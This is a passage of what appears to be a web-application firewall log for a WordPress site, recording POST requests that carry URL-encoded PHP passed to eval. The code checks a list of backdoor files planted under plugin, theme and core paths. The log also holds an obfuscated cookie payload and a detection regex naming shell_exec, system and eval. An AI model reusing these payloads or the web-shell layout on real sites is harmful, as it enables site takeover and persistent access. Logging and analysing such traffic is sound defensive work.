ogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-includes\/Requests\/src\/Proxy\/toolbar.checkin.php%22%3D%3E%22bd%40%40257251900%40%401029%22%2C%0A%22\/wp-includes\/sodium_compat\/namespaced\/Core\/rate_report04.php%22%3D%3E%22bd%40%40257153501%40%401009%22%2C%0A%22\/wp-includes\/Requests\/src\/Cookie\/imagers.php%22%3D%3E%22bd%40%40257246922%40%40979%22%2C%0A%22\/index.php%22%3D%3E%22bd%40%40278032072%40%40405%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ConversionActionStatusEnum\/checkout.php%22%3D%3E%22bd%40%40282625866%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ConversionValueRuleErrorEnum\/download.php%22%3D%3E%22bd%40%40282625871%40%401037%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php%22%3D%3E%22bd%40%40287676500%40%40ONUzjt%22%2C%0A%22\/wp-content\/languages\/admin-network-zh_CN.l10n.php%22%3D%3E%22bd%40%40287676543%40%40%24_COOKIE%5B5%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\ncontent-length:9226\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\n\nybXJBY=eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/upgrade\/wordpress-6.9.4-no-content\/wordpress\/wp-includes\/SimplePie\/library\/SimplePie\/HTTP\/idl.php%22%3D%3E%22bd%40%40290357401%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-includes\/Requests\/src\/Proxy\/toolbar.checkin.php%22%3D%3E%22bd%40%40257251900%40%401029%22%2C%0A%22\/wp-includes\/sodium_compat\/namespaced\/Core\/rate_report04.php%22%3D%3E%22bd%40%40257153501%40%401009%22%2C%0A%22\/wp-includes\/Requests\/src\/Cookie\/imagers.php%22%3D%3E%22bd%40%40257246922%40%40979%22%2C%0A%22\/index.php%22%3D%3E%22bd%40%40278032072%40%40405%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ConversionActionStatusEnum\/checkout.php%22%3D%3E%22bd%40%40282625866%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ConversionValueRuleErrorEnum\/download.php%22%3D%3E%22bd%40%40282625871%40%401037%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php%22%3D%3E%22bd%40%40287676500%40%40ONUzjt%22%2C%0A%22\/wp-content\/languages\/admin-network-zh_CN.l10n.php%22%3D%3E%22bd%40%40287676543%40%40%24_COOKIE%5B5%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));"]
["2026-04-18 14:11:13","50.171.242.197","POST","\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> DV:%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/upgrade\/wordpress-6.9.4-no-content\/wordpress\/wp-includes\/SimplePie\/library\/SimplePie\/HTTP\/idl.php%22%3D%3E%22bd%40%40290357401%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-includes\/Requests\/src\/Proxy\/toolbar.checkin.php%22%3D%3E%22bd%40%40257251900%40%401029%22%2C%0A%22\/wp-includes\/sodium_compat\/namespaced\/Core\/rate_report04.php%22%3D%3E%22bd%40%40257153501%40%401009%22%2C%0A%22\/wp-includes\/Requests\/src\/Cookie\/imagers.php%22%3D%3E%22bd%40%40257246922%40%40979%22%2C%0A%22\/index.php%22%3D%3E%22bd%40%40278032072%40%40405%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ConversionActionStatusEnum\/checkout.php%22%3D%3E%22bd%40%40282625866%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ConversionValueRuleErrorEnum\/download.php%22%3D%3E%22bd%40%40282625871%40%401037%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php%22%3D%3E%22bd%40%40287676500%40%40ONUzjt%22%2C%0A%22\/wp-content\/languages\/admin-network-zh_CN.l10n.php%22%3D%3E%22bd%40%40287676543%40%40%24_COOKIE%5B5%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20","POST \/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php HTTP\/1.1\nsec-fetch-dest:document\ncookie:4=17267dbb927e97128879218d3d0962ca; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvESLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\ncontent-length:9203\nsec-fetch-mode:navigate\n\nDV=%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/upgrade\/wordpress-6.9.4-no-content\/wordpress\/wp-includes\/SimplePie\/library\/SimplePie\/HTTP\/idl.php%22%3D%3E%22bd%40%40290357401%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-lin